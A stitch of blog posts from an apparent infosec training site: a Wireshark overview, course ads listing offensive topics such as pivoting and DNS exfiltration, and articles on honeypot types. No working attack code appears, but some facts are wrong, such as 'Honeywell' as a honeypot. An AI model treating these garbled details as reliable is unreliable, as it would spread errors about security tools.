What is Wireshark?

  What is Wireshark?

Wireshark is the most common network protocol analyzer. In addition to being a free and an open source packet following the terms of the GNU General Public License(GPL), we mainly use it when it comes to network troubleshooting, analysis, software and communications protocol development, and education. It shows its user what is happening on their network at a microscopic level. A majority of commercial and non-profit organizations, government agencies, and educational institutions use Wireshark.

History:

In 1998 Gerald Combs, a computer science graduate of the University of Missouri-Kansas City, started a project and named it Ethereal. It was the basic foundation of Wireshark. having this name since 2006 when Combs started to work with CACE Technologies while holding the copyright of most of the project’s code. The rest of the code was opened for any modification under the GPL Terms. Then, volunteer contributions of network experts around the universe added to the project, making it as famous and widely used as it is nowadays.

Because Combs did not own the Ethereal trademark he decided to change its name into Wireshark. It was not until 2010 when Riverbed Technology purchased CACE Technologies to become the main sponsor of Wireshark. There are several contributors –around 600 authors– to this product; still, Combs is the essential responsible for maintaining the overall code and executing new version releases of Wireshark.

Wireshark won several awards for its vital role in today’s network security. It got an award for the Most Important Open-Source App of All-Time by eWeek. Moreover, it won the Editor’s Choice award from PC Magazine. In addition, Insecure.Org network security tools survey ranked as a top packet sniffer.

The functionality of Wireshark:

Similar to tcpdump, a common packet analyzer, Wireshark allows us to analyze network packets but with the aid of a graphical front-end and some extra integrated sorting and filtering options. A Network Interface Controller(NIC) is put into this mode if it does support promiscuous mode. This is usually in order to visualize all the traffic on the interface not merely the interface’s configured addresses and broadcast/multitask traffic.

However, to get the entire network traffic, other techniques such as port mirroring and network taps are utilized. This is done along with using the promiscuous mode on a port. This is attributed to the fact that a port does not necessarily get all the network traffic.

Wireshark 1.4 and later has the ability to put wireless network interface controllers into monitor mode. If some packets are captured by a remote machine and sent to Wireshark, protocols of type TZSP or OmniPeek’s protocol – where OmniPeek is another packet analyzer- are analyzed at the time they were captured on their remote machines.

What features does Wireshark include?

In fact, Wireshark offers a large set of features. In the following points, I will attempt to summarize the features that

Wireshark offers:

  • Wireshark is a network analyzer that inspects Hundreds of protocols.
  • It allows both offline analysis and live captures.
  • It could run on diverse operating systems such as Microsoft Windows, Linux, macOS, Sun Solaris, and several other platforms.
  • A graphical user interface (GUI) is supported using QT widget toolkit, which enables us to browse captured network data, or in the non-GUI version, TTY-mode TShark utility could be utilized for the same purpose as well.
  • It offers sufficient Voice over Internet Protocol(VoIP) analysis. We can even play the media flow when decoding such captured traffic.
  • Wireshark uses pcap to capture packets.
  • It generates Capture files in gzip format, which is easily decompressed.
  • Such captured files could be programmatically edited or altered to the “editcap” programming with the help of some command-line switches.
  • It allows the traffic capturing of Raw Universal Serial Bus(USB).
  • Wireshark is able to capture packets from ns OPNET Modeler, NetSim, and some other network simulation tools.
  • It supports Read/Write of many capture file formats such as tcpdump (libpcap) which is the native network trace file format, Pcap NG, Catapult DCT2000, Cisco Secure IDS iplog, Microsoft Network Monitor, Network General Sniffer, Sniffer Pro, NetXray, Network Instruments Observer, NetScreen snoop, Novell LANalyzer, RADCOM WAN/LAN Analyzer, Shomiti/Finisar Surveyor, Tektronix k12xx, Visual Networks Visual UpTime, WildPacketsEtherPeek/TokenPeek/AiroPeek and several other formats.
  • It reads Live Data through different means such as Ethernet IEEE 802.11, PPP/HDLC, ATM, loopback, Bluetooth, FDDI, and many others.
  • The decryption is supported for many protocols including IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP, and WPA/WPA2.
  • Application of Coloring rules to the packet list allows for quick and easy analysis. See section Color Coding for further details.
  • One can ensure that only the triggered traffic becomes analyzed by applying particular filters, timers, and other settings.
  • XML, PostScript, CSV or plain text are all the types that output is exported and formatted.

Security Policies:

In general, there is no need for certain security privileges to allow us to utilize neither Wireshark or TShark. Nowadays, only requires to have tcpdump or dumpcap, given special privileges, and run on a machine to capture traffic with no need for any further privileges for the user.

But how can a superuser grant the aforementioned required privileges to a user? The answer basically lies in the fact that tcpdump or dumpcap which come with Wireshark should have special privileges for them to capture packets into a file. This file would require the opening of Wireshark for analysis with seriously restricted privileges. Even wireless networks could harness Aircrack wireless security tools and capture IEEE 802.11 frames to further read the resulting tcpdump dumpcap files with running Wireshark afterward.

Why do we need to restrict the users from privileges to freely run Wireshark and use its tools? This is basically because capturing traffic calls an enormous number of protocol dissectors, which could most probably arise a network security risk. Since there is a potential of finding a bug in one of these dissectors and thereby exploiting it, this puts the entire security system at a great risk. That is why running Ethereal/Wireshark in the past required superuser privileges for one to be responsible for what can potentially be affected.

Filtering Packets:

Sometimes we need to capture specific traffic packets such as traffic which a program sends when phoning home. While a large number of captured packets in a network, one has to close down all other applications using the network in order to get some specific traffic type. At this point emerges the importance of Wireshark’s filters. At the top of the window, there is a filter box at which we can simply type a certain filter name in order to apply this filter and then we should click Apply, or press Enter alternatively. For instance, to see only DNS packets, we type “DNS” in the filter box. Wireshark helps auto-complete a filter name while writing its name in the filter box.

Color Coding:

The colors Green, Blue, and Black distinguish the type of captured packets. Conventionally, green color indicates Transmission Control Protocol (TCP) traffic. Dark blue, on the other hand, is Name System (DNS) traffic, whereas light blue demonstrates User Datagram Protocol (UDP) traffic. Black shows TCP packets with problems such as being out-of-order.

References:

https://en.wikipedia.org/wiki/Wireshark

https://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/amp/

https://www.wireshark.org/

https://wiki.wireshark.org/

http://sectools.org/

https://www.quora.com/unanswered/What-security-policies-can-you-check-using-Wireshark

Elsewhere, check out my other post about Metaspoilt.

 

All new Advanced Threat Hunting with Splunk

When it comes to log analysis Splunk is one the most popular enterprise grade solutions in the field today. It can pull logs from nearly any device in the network, and it can integrate with most of the popular security products on the market. In the InfoSec field today Splunk is a common tool for what called Cyber Threat Hunting/Hunt Teaming/Malware Hunting/Defensive Cyber Operations (DCO)/Cyber Threat Analysis and many other names.

As popular as Splunk is – surprisingly few people are comfortable performing security event analysis with it. We decided to develop a Hands-on Splunk course designed specifically for InfoSec Professionals that want to do HANDS-ON DEEP TECHNICAL SECURITY ANALYSIS with Splunk.

The course price is $200, but the first 5 signups get it for $100 – so signup now!
https://infosecaddicts.com/product/advanced-threat-hunting-with-splunk/

Class Syllabus

Module 1: Deploying Splunk, configuring logging and forwarding

  • Installing Splunk
  • Configuring logging in Windows and Linux
  • Setting up log forwarding
  • Understanding how Windows Event logging works

The course price is $200, but the first 5 signups get it for $100 – so signup now!
https://infosecaddicts.com/advanced-threat-hunting-with-splunk/

Module 2: Attacking Servers and Workstations

  • Learning attacker tools/tactics/procedures (TTPs)
  • Generating real world security events to analyze
  • Attacking Workstations
  • Attacking Application Servers
  • Learning what types of security events generate log events
  • Writing basic queries for common attacks
  • Analyzing PCAP files with Splunk

Module 3: Hunting with Splunk

  • Data-Centric vs End-Point Hunting
  • Understanding IOCs/IOAs
  • Indicators of Compromise (IOCs)
  • Indicators of Attack (IOAs)
  • Integrating data from popular security products
  • Writing complex queries
  • Detecting Zero-Day attacks

The course price is $200, but the first 5 signups get it for $100 – so signup now!
https://infosecaddicts.com/product/advanced-threat-hunting-with-splunk/

Who is this class for?

IT System Administrators, IT Security Professionals, SOC Analysts, First Responders, Incident Handlers, Intrusion Analysts, Malware Analysts

Class pre-requisites

Students should be familiar with using Windows and Linux operating environments and be able to troubleshoot general connectivity and setup issues.

Students should be familiar with VMware Workstation and be able to create and configure virtual machines.

Students are recommended to have a high-level understanding of key programming concepts, such as variables, loops and functions; however, no programming experience is necessary.

Students will be provided with detailed courseware, detailed lab manuals, and copy/paste notes so that even if student is not very strong technically they will be able to complete the lab exercises and take notes effectively.

Class Schedule & Delivery Method

This class is a completely self-paced course that will go live on Monday the 13th of August at midnight. You can access the course by clicking on the “My Courses” link in the top right corner of https://infosecaddicts.com

Students will receive

  • 24 hours of CPEs
  • Several virtual machines
  • Courseware slides
  • Lab manual

Videos:
Videos are in the actual course module lessons in the InfoSec Addicts website.

Support:

Students can request help via the support chat system in the site or via the email based trouble ticketing system (allow 24 hours for a response). Send all questions/concerns to [email protected]

Cost:

The course price is $200, but the first 5 signups get it for $100 – so signup now!
https://infosecaddicts.com/product/advanced-threat-hunting-with-splunk/

 

Ultimate Hacklab – Self Paced (SP)

Ultimate hacklab – Self Paced (SP) – prep for hacking challenge lab exams like OSCP, LPT, eCPPT, and soon even the new CEH is going to be a hacking challenge lab as well.

If you really want to know what it takes to pass hack lab challenge-based exams like OSCP, LPT, eCPPT then ultimate hacklab is for you and it’s only $200.

The InfoSec Addicts Ultimate hacklab – Self Paced (SP) – is best way for you to practice the skills required for almost any hands-on lab based penetration testing/ethical hacking certification.

The Ultimate hacklab – Self Paced (SP) – gives you the opportunity to follow along with a structured and very detailed training program, and/or make your way through the labs and just ask for help whenever you get stuck. You can run almost any tool and try almost attack in the environment. The class is self-paced. You can sign-up ANYTIME, and start IMMEDIATELY.

The program outlines how to create your own lab environment or you can connect to the InfoSec Addicts lab environment with almost any platform (Windows, Mac OS X, Kali Linux, other Linux distros) to go through the lab exercises.

Class syllabus:

  • Module 1: Connecting via VPN to the lab network
    • Connecting to the VPN with Windows
    • Connecting to the VPN with Mac OS X
    • Connecting to the VPN with Linux
    • Connecting to the VPN with Kali
  • Module 2: Scanning
    • Nmap
    • Net-Discover
  • Module 3: Module X: Enumeration
    • nmap NSE
    • rpcinfo/showmount
    • nbtstat
    • enum4linux
  • Module 4: Brute-forcing
    • Hydra
    • Medussa
  • Module 5: Vulnerability Scanning
    • Nessus
    • OpenVas
  • Module 6: Attacking web servers/web apps
    • Manual XSS/SQL Injection/LFI/RFI
    • Nikto
    • Dirbuster
    • Burp Suite
    • w3af
    • Arachni
  • Module 7: Compiling/Modifying Exploit code
    • Compiling code in Windows
    • Compiling code in Linux
    • Finding offsets
    • Changing out shellcode
  • Module 8: Client-Side Exploitation
    • Metasploit
    • Social Engineering Toolkit
  • Module 9: Transferring files
    • FTP
    • TFTP
    • VBscript
    • Debug,exe
    • wget/linux/bitsadmin
    • PowerShell
  • Module 10: Privilege Escalation
    • Linux
      • SUID binaries
      • Shell escapes
    • Windows
      • Identifying vulnerable services/misconfigurations
      • beR00t.exe
  • Module 11: Data-mining a compromised host
  • Module 12: Hashcracking
  • Module 13: Pivoting
    • Netcat/Socat pivot
    • SSH Pivot
    • Metasploit pivot
  • Module 14: Lateral movement
    • psexec
    • smbexec
    • winexe
  • Module 15: Data Exfiltration
    • ICMP Tunneling
    • DNS Tunneling
  • Module 16: Reporting

 

Lab Network Access

Targets in the lab network will change on the 1st of every month. Students have the option to purchase 1 months access to the lab environment for $25.

 

Students will receive:

  • Up to 124 hours of CPEs (24 CPE for the actual training and the rest come from labs and challenges completed by the students)
  • Several virtual machines
  • Courseware access
  • Lab Manual
  • Lab access

 

Class Videos

Each course module has a corresponding video that demonstrates the task being performed. So you can see each individual lesson’s skill or task that is being described actually being performed.

Support

Each student will have access to an InfoSec Addicts Group (infosecaddicts.com) for the class. Additionally, this is where they can work with other students on lab exercises, homework, and challenges. An InfoSec Addicts class mentor will be assigned to the group to answer questions (allow one day for responses). Likewise, a Customer Relationship Manager will get assigned to the class to manage questions and support issues.

 

Class Schedule

The class is self-paced. You can sign-up ANYTIME, and start IMMEDIATELY.

Fill out this form below to sign up for the class.

$100.00Add to cart

 

 

Was sick, my mother passed away, but now I’m back on track

I want to thank all of you well wishers. The last few months have been crazy for me. I’ve been in and out of the hospital several times, my mother passed away a few days ago, my birthday was on the day I burried my mother (Mother’s Day).

My mother was very sick so honestly her passing was a painful but good thing as her suffering is finally over. My family got together and had a celebration of her life instead of a funeral.

Python

So again to all of you thank you.

My medical issues are under control now, and we’ve dealt with my mother’s passing so I’m back to work next week.

I’ll be teaching Advanced Metasploit, and Python as night classes so I decided to bundle them for $100 (they are usually $100 each).

Click here to register for this class bundle for only $100

https://infosecaddicts.com/next-level-metasploit/
Next-Level Metasploit 21st and 23rd of May 2018
– Mon, May 21, 2018 7:00 PM – 9:00 PM EDT
– Wed, May 23, 2018 7:00 PM – 9:00 PM EDT

Python

This is an advanced Metasploit course that will focus on the fundamentals of Ruby (specifically for Metasploit), metasploit automation, and writing auxilliary modules and exploits for Metasploit.

 

https://infosecaddicts.com/python-infosec-professionals/
Python for InfoSec Professionals 28th and 30th of May 2018
– Mon, May 28, 2018 7:00 PM – 9:00 PM EDT
– Wed, May 30, 2018 7:00 PM – 9:00 PM EDT

Python

This is a Python for security professionals course. In this course I’ll be covering both log and pcap analysis with Python, as well as network/web app testing with Python.

This course is really designed for people that are NOT very comfortable with programming.

 

Class Videos

Each class will be recorded and made available to the students via email. So you can keep up with the class even if you have to miss time or even a whole day.

Support

Each student will receive access to an InfoSec Addicts Group (infosecaddicts.com) for the class. Groups are where students can ask questions outside of the regular class hours, work with other students on lab exercises, homework, and challenges.

A class mentor is assigned to the InfoSec Addicts Group to answer questions (allow one day for responses).

Similarly, a Customer Relationship Manager is assigned to the class to manage questions and support issues.

 

Class Schedules

Next-Level Metasploit 21st and 23rd of May 2018

– Mon, May 21, 2018 7:00 PM – 9:00 PM EDT
– Wed, May 23, 2018 7:00 PM – 9:00 PM EDT

Python for InfoSec Professionals 28th and 30th of May 2018

– Mon, May 28, 2018 7:00 PM – 9:00 PM EDT
– Wed, May 30, 2018 7:00 PM – 9:00 PM EDT

 

Click here to register for this class bundle for only $100

 

 

Unlimited classes:

If you know that you are interested in this class as well as other InfoSec classes then you should consider the unlimited classes package for $49.99 per month. You can find out more about it by clicking on the link below:

https://infosecaddicts.com/unlimited-classes/

 

NOTE: Due to Joe McCray’s travel and work schedule (ex: short notice consulting/training engagements or changes to those engagements) classes may reschedule or cancel. In these situations a refund will NOT be granted as the class will re-run the following week, or additional days will be added to the class schedule to make up for this.

Low level of interaction honeypots

 

 

 

Honeypots could be categorized according to the level of interaction with the system into three main categories: low level of interaction, medium level of interaction, and high level of interaction. I will discuss the low level of interaction honeypots in this article.

honeypots

When using these type of honeypots, it is not possible to receive a large amount of data from such a honeypot system compared to the other systems where more and more amounts of data could be collected from them. The advantages of this type of honeypots are given neatly in the following points:

  • They have very limited interaction with the system. This implies that there is no high risk that could arise from an attacker from dealing with this honeypot type of system. To illustrate, there is no operating system in place for an attacker can interact with.
  • The main usage of this type of honeypots is that any traffic coming into the network could be easily identified and captured by such honeypots. Also, new viruses and new worms are identifiable by such honeypots as well.
  • Getting this type of honeypot configured and installed into the network is a simple task. Understanding this type of honeypots and dealing with them from the organization’s perspective is equally easy.
  • The most used honeypot in this category of low-level interaction honeypots is what is referred to as Honeyd. This is considered as a really important honeypot when it comes to the low level of interaction honeypots. The latest and most stable version is 1.5c, which was released back in 2007. I will talk about Honeyd more in detail. This will include how to use them in practice and modern approaches to using them in another article to be published soon. So stay tuned! 😊

In a nutshell, through this type of honeypots, there are only one or more services that have to be simple and available for the attacker to interact with. All communication attempts with any particular services such as a web or SSH server are logged and investigated afterward. These types of honeypots are considered as simple daemons that help a network administrator get to monitor any attempts of attacks on the system in a passive manner. The host operating system, in this case, is for sure free of any vulnerabilities that could be possibly exploited by an attacker. Thus, this makes such kinds of honeypots safe and secure from the organization point of view. On the other hand, this type of honeypots cannot be used for the sake of simulating a complex environment where interaction is a must, such as a Simple Mail Transfer Protocol (SMTP) server.

Security risks of using the low level of interaction honeypots?

honeypots

When dealing with low interactive honeypots like Honeyd, there are some security risks. These risks mainly lie in the fact that it is really simple to get to know that a Honeyd is a trap. A Honeyd is easy to detect even when we do not configure our honeypot with our settings. The reason for that is a honeyd drops all the connections until it becomes impossible for it to deal with them anymore. Even when SYN package is not that good, the connections get terminated.

This information could assist any attacker in finding out that the targeted system is not a real one but a honeypot trap system. When an attacker checks the connections of the system, he will be capable of discovering that he fell into a trap, not a real system. Things are very clear in this case. Dropped connections are easily detected by the monitoring tools which an attacker uses, and these dropped connections imply the fakeness of such honeypot systems.

Low interaction honeypots get services emulated by an operating system, yet they are not real services. This very basic information becomes of valuable use for an attacker who wants to draw his conclusions about the fakeness of a website. Complicated services cannot get handled using such low interaction honeypots as well. Hence, breaking the system with the use of this technique becomes powerful. What an attacker needs to do is to merely look for information throughout the network. This is because, in the case of low interaction honeypots, the network stack is the one which we deal with.

Another major problem of low level of interaction honeypots is the fact that they depend on the resources of the system that they are deployed on. Removing such resources, as a result, leads to a great notable feature which is latency. This could be checked through a ping test where the response will occur much later than how it was before getting the resources of the system removed. The system will hardly reply with an answer to our ping. This could indicate that the attacker is dealing with a Honeyd or Nepenthes. We can even use these approaches to detect the type of honeypot which we just deployed.

Leaving the deployed low interaction honeypot open for several days in a row is also a great way to come up with some important conclusions. The requests that are received by our honeypot should be greatly taken care of such that any responses by our system should be believable and make sense to the attacker. The attacker should be fooled by the responses to the extreme that they believe that it is an actual running system. Nevertheless, when it comes to low interaction honeypots, SSH server is up and running while there are no generated replies or answers when talking to port 22. This trivially indicates that the system is not a real one because its responses are not appropriate, making the system not secure in the first place.

 

Resources:

http://www.diva-portal.org/smash/get/diva2:327476/fulltext01

https://www2.cs.arizona.edu/~collberg/Teaching/466-566/2012/Resources/presentations/2012/topic12-final/report.pdf

 

What are the levels of interactions in honeypots?

Honeypots could be categorized according to their aims such as prevention, detection, and of course response. In addition to that, we can categorize them according to their level of interaction with the real systems. This level of interaction determines the intensity of the interaction between an attacker and the systems of an organization’s network. To elaborate more on this point, if a honeypot has a high level of interaction, then this implies that the attacker can interact much more critically with the system, opposed to low levels of interaction where the attacker will not interact with the real systems in a critical manner. If we need to collect much more amounts of data, then a high level of interaction is recommended. On the contrary, this aspect comes with its risks which make the high levels of interactions really dangerous parts of the network. This is, of course, an undesirable feature which we need to abolish. In general, we have three categories for the levels of interaction: low interaction, medium interaction, and high interaction.

The most common type of classification is based on the level of interaction which is provided to the malicious user by the honeypot. The more interactive an environment is presented, the closer the honeypot becomes to the actual targets of an attack. This translates to potentially gathering more accurate information. The downside is that the more realistic honeypots present greater challenges to configure and setup.

honeypots

An organization should decide on which level of interaction works best for its purposes and goals out of the configured honeypots inside its network. I will explain the three levels of interactions in detail throughout the following three points; I will advise when each level of interaction is useful and when it should be avoided.

  1. Low level of interaction:

An example is Honeyd. I talked about this in another article titled “low level of interaction honeypots.”

  1. Medium level of interaction honeypots:

This is a more advanced type of honeypot where more information could be available if used. Despite the fact these type of honeypots still don’t contain an operating system which could simply get exploited, there is a bigger chance that attacks could get through the system using this sort of honeypots. The problem arises from the fact that there exist many more security holes through which an attacker could simply get into the system and exploit it. Obtaining much more information and more attacks from the hackers that are complicated is possible in this case. The following honeypot names could be used to exemplify the medium level of interaction honeypots that are infamously in use nowadays: Mwcollect, honeytrap, and Nepenthes. I will also talk about some of these honeypots in another article and implement them in practice.

To summarize what was mentioned regarding medium interaction honeypots, they are used to get some collections of software-emulated such that an attacker could become more convinced that it is, in fact, the actual system while he just accessed a honeypot system. In this case, the host operating system is still shielded. Nevertheless, getting a collection of software-emulated through the honeypot as we desire is not, in fact, a simple task at all. The reason for that lies in the fact that the response of such emulated collection of software should be almost identical to the response of the same actual programs. Still, we, of course, do not need to raise any real security issues here for these programs; otherwise, there is a real danger. Finally, the possibility of comprising the system exists here in fact with a higher percentage. This is basically because the vulnerable points that are kept for the attackers are considerable, and he can exploit a hole in the actual system to perform his malicious activity.

  1. High level of interaction honeypots:

honeypots

This type of honeypots is considered the most advanced type of honeypots in general. First of all, these types of honeypots contain an operating system. What does this imply? We can simply infer that an attacker can possibly undertake anything on such an advanced honeypot system. However, an organization, in this case, is capable of getting more and more data about the attack type, source, and nature indeed.

This type of honeypots allows the user to have no restrictions to perform whatever tasks and actions that are desired by him. From this point comes the real danger of using such honeypots inside an organization. They are also very time-consuming honeypots to configure and implement. Moreover, it is much more difficult to be able to maintain such type of honeypots for a long time.  The most common name in this category of honeypots is Honeywell. This is a very important high level of interaction honeypot. I will also come back to it in another article and see how it could be configured in practice.

So, as I just mentioned, in this type of honeypots, actual instances of programs are used, not merely the emulations of them. An administrator has to choose this type of honeypots if he needs to grant an attacker root access to the machine and analyze how he will react then, and what actions he wished to do. The risk of implementing this type of honeypots is high. It is, in fact, the riskiest type of honeypot, yet it grants an administrator the greatest potential to get data collected about the attack and the attacker as well. Supervision of such honeypots is a must since such types of honeypots could become a zombie or a jumping point to perform more attacks on the systems inside the network.

 

Resources:

http://www.diva-portal.org/smash/get/diva2:327476/fulltext01

https://www2.cs.arizona.edu/~collberg/Teaching/466-566/2012/Resources/presentations/2012/topic12-final/report.pdf

 

Advantages vs Disadvantages of Honeypots

 

Honeypots are unique because they allow a security researcher to see and record what actions a malicious user takes on a compromised computer without necessarily interfering or revealing to the attacker that they are being monitored. Because of this invisibility, valuable intelligence can be gathered about the actual strategies of an attacker. A honeypot can be configured to be either proactive or reactive to attacks, depending on the needs of the person who set it up.

What are the real advantages of a honeypot?

There are several benefits that a company can basically get out of configuring a honeypot inside their system. While there are many solutions to security problems that are available in the software market, honeypots still have unique benefits and really useful purposes. The benefits could be summarized in the following points:

Ø  Any attacks could be easily captured using honeypots. Also, information about the attack type could be recognized such that weakness points become well known to the security administrators. This could be discovered using the logs which are created by a honeypot. In addition to that, if the laws do not interfere with it, additional information about the source of the attack and the attacker could be identified by using the honeypot technology.

Ø  Administrators become practically familiar with new threats and modern methods of attacks. They take notice of the new attacks and further gain knowledge of how to defend a system against these attacks. Many solutions become practically possible even before the attack infects a machine in the organization. By looking at the behavior of malicious activity in the system, and through examining them well, many more attacks become understandable by the time they get their effect on the network in the very first place.

Ø  When a honeypot captures traffic, it does not capture the entire traffic such that it becomes bulky and tedious to analyze and investigate through its captured traffic. On the other hand, it merely takes care of the incoming malicious traffic and notifies the network administrator of it. This is much easier for the investigation process when analyzing any malicious traffic is a must. This aspect, in fact, makes honeypots extremely useful in practice.

Ø  From the above-mentioned point where we discussed that only malicious traffic gets captured by a honeypot, there is no need for a huge amount of storage at all. In practice, any dedicated computer could become the honeypot system without an urgent need to buy many more resources and allocate budget to deploy the honeypot technology within an organization.

Ø  The configuration of honeypots is very easy and installing it does not have any complications. This is basically complemented with a simple algorithm that does not have any complexity. Moreover, for the installation purposes on a system, there is no need to get some other software programs updated, installed, or modified by the time a honeypot gets installed.

Ø  We should know by now that any malicious activity is recognizable by a honeypot. However, in addition to that, new tools for detecting attacks are also captured by honeypots. Deploying a honeypot in a system gives the administrator a solid idea of how there are various points of view that they could look at the same problem to find several security solutions for the same problem according to each perspective.

Are there any disadvantages of a honeypot?

Everything in life has advantages and disadvantages, and we have to find the balance between them both before deciding if it is worth for or not. In fact, there are some points that could be simply considered as pitfalls for using honeypots in general. The following points give us an intuition of how many problems we can use after using honeypots.

Ø  Information is only captured when an attack is performed. On the other hand, if there is no attack occurring on the system, then there will be no captured data at all.

Ø  The captured malicious traffic is only collected when the attack is targeted at the honeypot machine. Nonetheless, if the target of the attack was another machine rather than the honeypot machine, then we are in really big trouble. Such systems will get infected by the malicious code without having the honeypot notifying us about such activity in the first place.

Ø  Honeypots are sometimes distinguishable from other real systems that we have in our system. Of course, this is a big problem that could be tackled such that even experienced hackers cannot distinguish between honeypot systems and real systems using fingerprinting.

Ø  A very unwanted result is that a not careful organization could end up having lies really in the fact that an attacker may depend on a honeypot and exploit it as a zombie to attack other systems within the network and get them compromised, causing really big trouble for the entire organization.

 

What is the system configuration for using a honeypot?

First of all, let’s agree with the idea that a honeypot has the capability to either work on its own or work in a group with some other honeypots in the system. In the case that there are several honeypots, we basically refer to this group of honeypots as a honeyfarm. It may be suggested to configure a honeypot alone without having to configure other many honeypots because this will make things much easier in the configuration and installation process.

Nevertheless, it turned out that having only one honeypot is not that effective nor powerful when compared to having a honeyfarm although it may be hard to configure this honeyfarm of honeypots. Furthermore, having only one honeypot is prone to have some unintended failures, many more than the number of such failures when having a honeyfarm. The reason for that lies in the fact that there is no ability for one honeypot on its own to load balance and also, they lack the redundancy of a group of cooperating servers.

 

Resources:

http://www.diva-portal.org/smash/get/diva2:327476/fulltext01

https://www2.cs.arizona.edu/~collberg/Teaching/466-566/2012/Resources/presentations/2012/topic12-final/report.pdf

How can we Define a Honeypot?

 

How can we define honeypots?

A honeypot is essentially a computer system. In this computer system, there exists files and directories just like any other usual computer system. A honeypot aims to attract an attacker to fall into its trap for it to investigate his actions and follow his behavior. In fact, a honeypot is not an actual system yet; it is a fake system. The difference between a honeypot and other security systems lies in the fact that a variety of security problems could be tackled at once using diverse approaches available on honeypots. On the contrary, other usual security systems are used to tackle one certain problem through a proposed solution. An instance of this point could be simply seen in the scenario when a compromised system could be investigated after having a log of malicious activity. At the same time, new threats could be recognized through implementing a honeypot in a network and hence attempt to tackle these problems and overcome them effectively.

 

Honeypots are indistinguishable from the actual production servers to an outside attacker. Thus, they will not behave any differently when attacking them. However, the network security team can monitor the honeypots for recorded attacks and later analyze them. The honeypots can also help to absorb attacks directed against the real server.

 

What is the motivation behind a honeypot?

The honeypot idea is mainly derived from a great interest in the field of computer security. The implementation of a honeypot requires that one is interested to know the workflow of security systems and to build a solid knowledge of how the protection of a company could be achieved and how security flaws in a system can be very risky for the entire system and organization. A network administrator shall be ready for great work ahead while implementing the honeypot system in a network. Being aware of the system and network architecture and the modifications that could be applied to them is a very crucial step beforehand. The output is examined through some reliable forensic science tools. In the meanwhile, several problems will be encountered, and the administrator has to make sure he can solve them before putting the honeypot in the system. Facing such problems beforehand will be very important for the administrator. This ensures that at a later that time, although the conditions may be intense, the system will be handled quickly, and losses will be easily recovered. Therefore, good knowledge of examining security problems and forensic science information is a must.

 

What should be done before applying a honeypot to the real production system?

A network administrator should carry out some research by the time he thinks of applying the honeypot concept in the network. He has to be sure that the created honeypot is secured such that it has no leaks into the actual system. Otherwise, it will make a real disaster. On the other hand, he has to make sure that a hacker has no knowledge about being trapped into a honeypot. He has also to be aware of the maximum amount of information available for an attacker to get through the honeypot implementation. Also, it is good to know the behavior of an attacker when he knows that he is in a trap. Will that attacker just give up hacking and stop his actions? It is also really important for a network administrator to be knowledgeable of the location where the honeypot should be deployed in the network and the amount of information he can get.

Laws always play a role in everything in life. Therefore, it is also advisable that a network administrator should be aware of the restrictions applied on implementing honeypots; especially if his organization is in the European Union (EU) or the United State of America (USA). There are certain rules and regulations which govern the process of obtaining information of an attacker or tracking him back. Therefore, a network administrator should abide by these rules by not fully tracking the attacker, and at the same, he should be respectful of the laws in every single way.

What is the description of our problem?

 When we build a good honeypot, we expect to attract several attackers into the fake system and let them take control over the intentional flaws left in there. When we trace the hacker, it is not guaranteed for sure whether we will be the ones who have the control. Thus, we don’t know that much about the security of a honeypot. We are not sure whether the attacker, in fact, knows that it is a fake system. We also doubt whether the attacker is aware of the great importance of acquiring information about the system flaws. We need to be very specific and certain about the actual limits that an attacker has whenever he gets the control over the honeypot system. It will be disappointing if the attacker can even exploit the honeypot itself and seize a flaw in it to get to the system and do what he wants in the system. The entire system will be compromised when an attacker gets to this devastating point. Another entitled problem is that an attacker may recognize that it is a trap and then stop hacking or pretend that he is hacking. In that time, it is no longer beneficial to have the installed honeypot anymore, and it is not useful either to use our forensics tool to investigate the system. A very important aspect to consider when using honeypots is to be sure about the answers for all these questions and attempt to get our honeypots to be more secure and be assured that hacking the honeypot by the attacker will not yield any useful data for him about the actual system. A good network administrator should play the role of a hacker once and of a forensic examiner on another occasion or simultaneously do the same of course with his own team. Very accurate results could be acquired depending on various tools used for hacking and forensics.

 

Resources:

http://www.diva-portal.org/smash/get/diva2:327476/fulltext01

https://www2.cs.arizona.edu/~collberg/Teaching/466-566/2012/Resources/presentations/2012/topic12-final/report.pdf

 

What are the Types of Honeypots?

 

A honeypot is essentially a computer system. In this computer system, there exists some files and directories like any other usual computer system. A honeypot aims to attract an attacker to fall into its trap and investigate his actions and follow his behavior. In fact, a honeypot is not an actual system but an intentionally made fake system.

 What are the types of honeypots?

 

Looking at the aims of honeypots and their levels of interactions, it is possible for us to group them into two main types: Research honeypots and Production honeypots:

  1. Research honeypots:

Military, research and government organizations mainly depend on these types of honeypots. A huge amount of data is contained in this type of honeypots. These honeypots are familiar with any new threats, and Blackhat motives could easily be recognized through such honeypots. While the main benefit of research honeypots is to understand how a system could become more secure, these types of honeypots cannot give any valuable data about increasing the security of an organization and its vulnerabilities.

  1. Production honeypots:

These types of honeypots are mainly utilized for the sake of getting an organization to become more protected against any potential attacks. The implementation of such honeypots is performed mainly inside the organization’s production network itself. The aim for them is to help increase the overall security for an organization at the end of the day.

Through such honeypots, a limited amount of data is captured such that honeypots that are lowly interactive are used. In this process, the behavior of an attacker is monitored very carefully by the proper forensics tools, such that any possible risks may be lowered and hence the organization becomes more secure consequently. These types of honeypots are the ones that are mostly used in practice, yet sometimes they may represent a risk for the organization themselves.

One thing that matters about these types of honeypots is where and how they are to be implemented by network administrators. Remember that the implementation of honeypots is essentially within a real network and system. Testing these sorts of honeypots usually yields several unexpected actions or problems.

Consequently, some other systems inside an organization may be put in danger when implementing these honeypots in the network. For an administrator, he should be fully aware that other systems will be possibly misused through the honeypots. As a result of that, he should make sure that all other systems inside the organization are secured enough after deploying the features of the honeypot. Otherwise, some great problem is to be faced by the entire organization eventually.

How to categorize honeypots according to the type of data collection?

There is, in fact, a way to classify honeypots, depending mainly on the type of data that is collected by the honeypot concerning a certain attack. A honeypot can be set up to detect and record one or more types of data: events (things that happen which change something in the honeypot), attacks (attempts by a malicious user to exploit a vulnerability), and intrusions (successful attacks that penetrate the honeypot). There is no judgment over how important a type of data is over another. However, most honeypots can display some information from each data category of the groups as mentioned earlier. In fact, all of these categories are really important for a security administrator to understand an attack and know the vulnerabilities of a system.

 

Is the usage of honeypots considered legal or not?

There are some legal issues that one should be fully aware of by the time he gets to deploy a honeypot inside an organization network or so. In fact, such legal issues are variant according to the governing rules and according to the country where a honeypot is to be deployed and configured. The regulations determine many different aspects, but mainly they care much about three main aspects which are the security of data, data collection, and the way in which honeypots are used in an organization.

